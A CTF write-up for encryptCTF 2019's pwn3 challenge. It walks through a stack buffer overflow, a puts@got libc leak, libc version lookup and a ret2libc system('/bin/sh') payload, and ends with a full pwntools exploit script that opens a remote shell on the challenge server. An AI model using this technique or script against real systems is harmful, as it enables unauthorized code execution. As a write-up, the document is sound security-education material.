encryptCTF 2019 Pwn Write-up 4 of 5
First pwn board wipe of the year. hsb represent! |
Pwn3 Solution (300 pts.)
This challenge tackles stack buffer overflow — leaking a LIBC address that leads to a shell.
Challenge description:
libc is such a nice place to hangout, isn’t it?
Based on the description, it seems that the challenges revolves around libc.
Common pwn challenges about libc
requires leaking a libc
address from the remote server to identify the libc version used by the program.
Let’s start by doing simple checks to the binary.
Again, the file is a 32-bit ELF executable,
and Canary
, PIE
and RelRo
are disabled. Hence, we can try to do a buffer overflow
to overwrite the saved return address.
Let’s try to run the binary and enter a long unique string to determine if we can overwrite the saved return address.
Generate pattern using msf-pattern_create.rb
root@kali:pwn2# msf-pattern_create -l 300
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
Let’s use the string pattern as our input.
It seems we have overwritten the saved return address with 0x37654136
. Let’s compute for the offset using msf-pattern_offset.rb.
root@kali:pwn3# msf-pattern_offset -q 0x37654136
[*] Exact match at offset 140
We got the offset at 140. Our payload template should look like this:
payload = [140 bytes buffer] + [addr of next function]
Now, let’s inspect the binary with radare2
and look for useful functions.
It seems that there is no WIN
function or system()
function on this binary unlike the first three challenges.
Luckily, we have puts()
function. We can use the puts function to leak a libc address from the remote server.
Reminder: Remote servers with ASLR enabled give a different LIBC address for each connection. Thus, we need to prevent program termination after the libc leak. We can loop back to the main function after leaking a libc address.
Let’s create a payload that will leak a libc address from the server, and loop back to main().
payload = [140 bytes buffer] + [puts()] + [main()] + [puts@got]
Quick note:
puts.got
contains the address of puts@LIBC function
Sample screenshot of getting puts@got
address:
The screenshot above shows that the puts@got
address is 0x80497b0.
We can see that 0x80497b0
contains an address which is 0xf7e2b210
.
0xf7e2b210
is the address of puts() in the libc
.
Going back to the payload, let’s replace the template with the following values:
gef➤ p main
$1 = {<text variable, no debug info>} `0x804847d` <main>
puts@plt = `0x8048340`
puts@got = `0x80497b0`
payload = [140 bytes buffer] + [`0x8048340`] + [`0x0804847d`] + [`0x80497b0`]
Let’s send this payload and wait for a leak
Success! We got a leak. Although it seems that it is just a garbage data, there is just no ascii character representation for the leaked bytes. Let’s convert the leaked data in a more readable form.
We got a leak for puts@libc which is 0xf7e277e0.
Using this leaked address, we can identify the version of libc
by using https://libc.blukat.me/.
Quick note: The last 3 values of a libc address is always constant.
The database gave 3 different libc versions. Let’s leak another address, and query two addresses to get better results.
Let’s leak gets@libc
using the same method. Just replace the puts@got
from the previous payload with gets@got
.
payload = [140 bytes buffer] + [`0x8048340`] + [`0x0804847d`] + [`0x80497ac`]
Let’s go back to libc database search and use the 2 address that we leaked.
We got a decent libc version. Let’s use this libc to compute the libc base address, and the addresses of system() and /bin/sh.
Here is how we compute the addresses we need:
libc_base = puts_leak - puts_offset
system_address = libc_base + system_offset
bin_sh_address = libc_base + bin_sh_offset
We already got the values we need, let’s now craft our stage 2 payload.
Since the program loops back to main, let’s recompute the offset needed to overwrite the saved return address.
Generate pattern using msf-pattern_create.rb
root@kali:pwn2# msf-pattern_create -l 300
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9
The program leads to a segmentation fault, let’s check the core dump generated by the program.
We can see that the saved return address is overwritten by 0x41346541
. Let’s use msf-pattern_offset.rb
to get the offset.
root@kali:pwn3# msf-pattern_offset -q 0x41346541
[*] Exact match at offset 132
The offset is 132. We can now create our stage 2 payload with all the information.
payload = [132 bytes buffer] + [system()] + [4 bytes garbage] + [/bin/sh address]
Flag: encryptCTF{70_7h3_C3nt3R_0f_L!bC}
Sample exploit script:
./exploit.py
from pwn import *
r = remote('104.154.106.182', 4567)
#r = process('./pwn3')
libc = ELF('./libc.so.6')
offset = 140
puts_plt = 0x8048340
puts_got = 0x80497b0
gets_plt = 0x8048330
gets_got = 0x80497ac
main_plt = 0x0804847d
# Stage 1 payload
# ------------------------
payload = ""
payload += "A"*offset
payload += p32(puts_plt)
payload += p32(main_plt)
payload += p32(puts_got)
r.recvuntil('desert:')
log.info('Payload format: [140 bytes buffer] + [puts() addr] + [main() addr] + [puts@got]')
r.sendline(payload)
r.recvline()
puts_leak = u32(r.recvline()[:4])
log.info('Puts leak: {}'.format(hex(puts_leak)))
puts_offset = libc.symbols['puts']
system_offset = libc.symbols['system']
exit_offset = libc.symbols['exit']
binsh_offset = next(libc.search('/bin/shx00'))
libc_base = puts_leak - puts_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset
exit_addr = libc_base + exit_offset
log.info('Formula to compute the addresses we need:')
log.info('libc_base = puts_leak - puts_offset')
log.info('system_address = libc_base + system_offset')
log.info('bin_sh_address = libc_base + bin_sh_offset')
log.info('libc base: {}'.format(hex(libc_base)))
log.info('system() addr: {}'.format(hex(system_addr)))
log.info('/bin/sh addr: {}'.format(hex(binsh_addr)))
# Stage 2 payload
# -----------------------
payload = ""
payload += "A"*132
payload += p32(system_addr)
payload += p32(exit_addr)
payload += p32(binsh_addr)
log.info('Payload format: [44 bytes buffer] + [system() addr] + [4 bytes garbage] + [/bin/sh addr]')
log.info('Sending stage 2 payload.')
log.info('Enjoy your shell! ')
r.recvuntil('desert: ')
r.sendline(payload)
r.interactive()
-
— ar33zy
hackstreetboys aka [hsb] is a CTF team from the Philippines.
Please do like our Facebook Page and Follow us on Twitter, Medium, and GitHub.